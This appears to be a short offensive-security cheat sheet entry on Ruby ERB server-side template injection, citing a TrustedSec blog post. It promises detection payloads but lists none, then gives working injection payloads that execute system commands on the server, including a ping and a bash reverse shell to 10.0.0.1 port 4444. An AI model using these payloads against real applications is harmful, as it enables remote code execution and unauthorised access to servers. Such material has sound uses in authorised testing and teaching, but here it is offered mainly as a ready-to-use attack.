ERB SSTI
ERB may be vulnerable to SSTI.
- [rubyerb-template-injection](https://trustedsec.com/blog/rubyerb-template-injection)
Payloads
Try the following payloads on URL path, params, input, etc.
Exploit
If the above payloads affect responses, we can inject arbitrary code as below:
<%= system("ping -c 1 10.0.0.1"); %>
# Reverse Shell
<%= system("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"); %>